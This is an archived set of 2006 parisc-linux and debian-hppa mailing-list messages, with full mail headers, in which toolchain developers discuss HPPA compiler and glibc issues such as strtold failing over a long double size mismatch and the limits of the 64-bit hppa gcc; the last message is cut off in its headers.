http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: qt-x11-free build fails
Date: Sat, 7 Jan 2006 14:27:15 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200601071927.k07JRGbe020121__47984.4625261196$1416623978$gmane$org@hiauly1.hia.nrc.ca>
References: <200601071849.k07InFlv019952@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623978 17680 80.91.229.3 (22 Nov 2014 02:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:38 +0000 (UTC)
Cc: grundler@parisc-linux.org,
 342545@bugs.debian.org,
 jbailey@debian.org,
 lamont@debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 341675@bugs.debian.org,
 tausq@debian.org,
 debian-release@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 19:45:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx081) with SMTP; 07 Jan 2006 20:45:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 6A9472E335; Sat,  7 Jan 2006 13:45:12 -0600 (CST)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 568CF2E093;
	Sat,  7 Jan 2006 13:28:21 -0600 (CST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k07JRGil020122;
	Sat, 7 Jan 2006 14:27:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07JRGbe020121;
	Sat, 7 Jan 2006 14:27:16 -0500 (EST)
In-Reply-To: <200601071849.k07InFlv019952@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 7, 2006 01:49:15 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.5 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <3OHSC.A.op.IpBwDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5071
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  7 Jan 2006 13:45:12 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: HX+yY79QeSEkI76WZHQhaXN1IGRvbwDo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23334

> There isn't a lot of info in #342545.  However, I suspect from the
> following comment
> 
> > It would be nice if somebody fluent with hppa assembly can tell us if 
> 
> >       fldw -10(,sp),fr23
> 
> that this is the same bug as reported here:
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=20754.

Changed my mind based on the discussion in
http://lists.debian.org/debian-hppa/2006/01/msg00001.html.  The only
way that the above instruction can cause an invalid exception is

  The current instruction is a load of the destination register of
  a pending, trapping instruction (see page 10-5 of arch, delayed
  traps).

The instruction can cause the usual memory faults (i.e., check value
in sp).  In either case, the real problem is somewhere else.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 16:07:57 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20060107210757.GM17559@baldric.uwo.ca>
References: <200512261958.jBQJwex0017907@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623979 17696 80.91.229.3 (22 Nov 2014 02:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:39 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 21:08:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 07 Jan 2006 22:08:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4543F7D7F6;
	Sat,  7 Jan 2006 14:08:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26568-06; Sat, 7 Jan 2006 14:08:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AE637D811;
	Sat,  7 Jan 2006 14:08:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2630A7D7F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 14:08:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26562-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 14:08:07 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 842EE7D7F2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 14:08:07 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvLI5-000542-00; Sat, 07 Jan 2006 16:07:57 -0500
Content-Disposition: inline
In-Reply-To: <200512261958.jBQJwex0017907@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l0iyY6NveSEkTr6WZHQhaXN1IGRvb8Ae
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23335

On Mon, Dec 26, 2005 at 02:58:40PM -0500, John David Anglin wrote:
> With libc6 2.3.5-8:
> 
> #include <stdlib.h>
> int
> main ()
> {
>   printf ("%Lf\n", strtold ("1", NULL));
>     return 0;
> }
> 
> dave@gsyprf11:~/gcc_test$ gcc -o ld1 ld1.c
> dave@gsyprf11:~/gcc_test$ ./ld1
> 0.000000

strtold will never work, gcc and libc have different sizes for long
double. This is probably a side-effect of this.

If we really want long double to work we need to do something like set
it to be the same as double.

128-bit long double is just going to be a pain, and I don't know how
well the 80-bit long double from IBM supports IEEE modes.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 17:41:52 -0500 (EST)
Lines: 52
Approved: news@gmane.org
Message-ID: <200601072241.k07MfqiW020827@hiauly1.hia.nrc.ca>
References: <20060107210757.GM17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623979 17709 80.91.229.3 (22 Nov 2014 02:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:39 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 22:42:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 07 Jan 2006 23:42:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EBFF7D7F9;
	Sat,  7 Jan 2006 15:42:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26986-07; Sat, 7 Jan 2006 15:42:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 492457D7FE;
	Sat,  7 Jan 2006 15:41:59 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 269C17D7F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 15:41:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26986-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 15:41:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 706697D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 15:41:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k07Mfqil020829; Sat, 7 Jan 2006 17:41:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07MfqiW020827;
	Sat, 7 Jan 2006 17:41:52 -0500 (EST)
In-Reply-To: <20060107210757.GM17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 04:07:57 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6CayY79eeSEkfr6WZHQhaXN1IGRvbwBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23336

> strtold will never work, gcc and libc have different sizes for long
> double. This is probably a side-effect of this.

I'm not sure what has changed but this is the source of a number
of gfortran and libstdc++ regressions when using the current version
of libc in unstable.

> If we really want long double to work we need to do something like set
> it to be the same as double.

Long double has always been the same as double in GCC.  It allowed
by the C and C++ standards.  It fast and the hardware and corner
cases are well understood.

I've given up hope that HP will release their IEEE long double emulation
code for PA-RISC.  Although I don't have any hard evidence of bugs in it,
there is the suggestion from the ada testsuite run under hpux that there
may be bugs in the rounding and exception support.

> 128-bit long double is just going to be a pain, and I don't know how
> well the 80-bit long double from IBM supports IEEE modes.

The only viable alternatives at this point are:

  1) long double == double (64 bit long double), or
  2) IBM 128-bit double double implementation used by powerpc.

After more than a year of using the double-double format, the powerpc
folks are still working the bugs out from the corner cases.  While I
guess it more or less works, I wouldn't want to rely on it for
critical calculations.  RTH recented indicated that this would be a
poor choice for another port in the same situation.  The same viewpoint
was expressed to me by an Ada maintainer at the last GCC summit.  Ada
probably has the best numerics support in GCC.

There is no support for the 80-bit format (either in hardware or
software) on PA-RISC as far as I know.  So, this alternative isn't viable.

C99 requires long double support.  Thus, I believe we should go with
option 1 and libc should be changed.  We aren't the only target with
this problem, so there must be some libc support for 64-bit long double.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld summary, all is good.
Date: Sat, 7 Jan 2006 18:14:34 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20060107231434.GP17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623979 17726 80.91.229.3 (22 Nov 2014 02:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:39 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:14:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 08 Jan 2006 00:14:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 922D77D7FB;
	Sat,  7 Jan 2006 16:14:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27860-05; Sat, 7 Jan 2006 16:14:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECD3E7D7FE;
	Sat,  7 Jan 2006 16:14:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEE237D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:14:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27860-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:14:36 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 289207D691
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:14:36 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvNGc-0006F6-00; Sat, 07 Jan 2006 18:14:34 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: My6yY8oceSEkR76WZHQhaXN1IGRvb8A/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23337


                === ld Summary ===

# of expected passes            215
# of expected failures          41
/mnt/flaire/src/tls-toolchain-hppa/build/binutils/ld/ld-new 20051210

I built my own libc6 with the appropriate support for some of our new
relocations and binutils is happy. I have the patches attached, I will
need to feed them to the debian-glibc team.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-hppa64 compilers
Date: Sat, 7 Jan 2006 16:27:24 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <7d01f9f00601070727l24ae2c79h75c8a4a4d38b4e89__26853.7990552888$1416623980$gmane$org@mail.gmail.com>
References: <17341.56304.198509.175260@gargle.gargle.HOWL>
	 <20060106192746.GA3782@tachyon.int.mcmartin.ca>
	 <200601071606.24320.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623980 17741 80.91.229.3 (22 Nov 2014 02:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:40 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 Matthias Klose <doko@cs.tu-berlin.de>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 16:39:12 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx080) with SMTP; 07 Jan 2006 17:39:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A83292E00D; Sat,  7 Jan 2006 10:39:10 -0600 (CST)
Old-Return-Path: <varenet@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.201])
	by murphy.debian.org (Postfix) with ESMTP id C102E2DDBD
	for <debian-hppa@lists.debian.org>; Sat,  7 Jan 2006 10:23:57 -0600 (CST)
Original-Received: by nproxy.gmail.com with SMTP id p46so1438891nfa
        for <debian-hppa@lists.debian.org>; Sat, 07 Jan 2006 08:23:23 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        b=JypP6zcLKOTkJ5HSvz0ZHTbkJnQOhK0qBP3v/tEjdNrV4OcptU0VCeMUCTEZwDVRz0cLjo+0N9m+BvIWZDTqnypYDK/HzlDKvDmHihCrDz8HcJZ07k3nr0DBckgRAbrghQTXAaS/UqHXcC3VBwIus/hQBExBbq2dtX2I2icBg/0=
Original-Received: by 10.49.42.7 with SMTP id u7mr814180nfj;
        Sat, 07 Jan 2006 07:27:24 -0800 (PST)
Original-Received: by 10.49.42.11 with HTTP; Sat, 7 Jan 2006 07:27:24 -0800 (PST)
Original-Sender: varenet@gmail.com
In-Reply-To: <200601071606.24320.deller@gmx.de>
Content-Disposition: inline
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.0 required=4.0 tests=AWL,RCVD_BY_IP autolearn=no 
	version=3.0.3
Resent-Message-ID: <QUQrY.A.D7E.u6-vDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5066
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  7 Jan 2006 10:39:10 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 5ovNY+tUeSEkIr6WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23338

On 1/7/06, Helge Deller <deller@gmx.de> wrote:
>
> BTW, what does it take to drop hppa64-compiler in favour of a "-m64" comp=
iler flag (as on x86_64) to hppa-gcc as well ?

This is probably impossible for the simple reason that the 64bit
flavour of hppa gcc can only build kernels: we don't have a 64bit
userland and thus the 64bit gcc is very limited in its features...
This is not a full-featured compiler:

Reading specs from /usr/lib/gcc/hppa64-linux-gnu/3.4.5/specs
Configured with: ../src/configure --enable-languages=3Dc --prefix=3D/usr
--libexecdir=3D/usr/lib --disable-shared --disable-nls --disable-threads
--with-as=3D/usr/bin/hppa64-linux-gnu-as
--with-ld=3D/usr/bin/hppa64-linux-gnu-ld
--includedir=3D/usr/hppa64-linux/include --host=3Dhppa-linux-gnu
--build=3Dhppa-linux-gnu --target=3Dhppa64-linux-gnu
Thread model: single
gcc version 3.4.5 (Debian 3.4.5-1)

HTH

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-hppa64 compilers
Date: Sat, 7 Jan 2006 11:55:20 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200601071655.k07GtKmF019459__38105.8220672005$1416623980$gmane$org@hiauly1.hia.nrc.ca>
References: <200601071606.24320.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623980 17755 80.91.229.3 (22 Nov 2014 02:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:40 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 16:55:23 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx071) with SMTP; 07 Jan 2006 17:55:23 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k07GtKil019460;
	Sat, 7 Jan 2006 11:55:21 -0500 (EST)
Original-Received: (from dave@localhost)
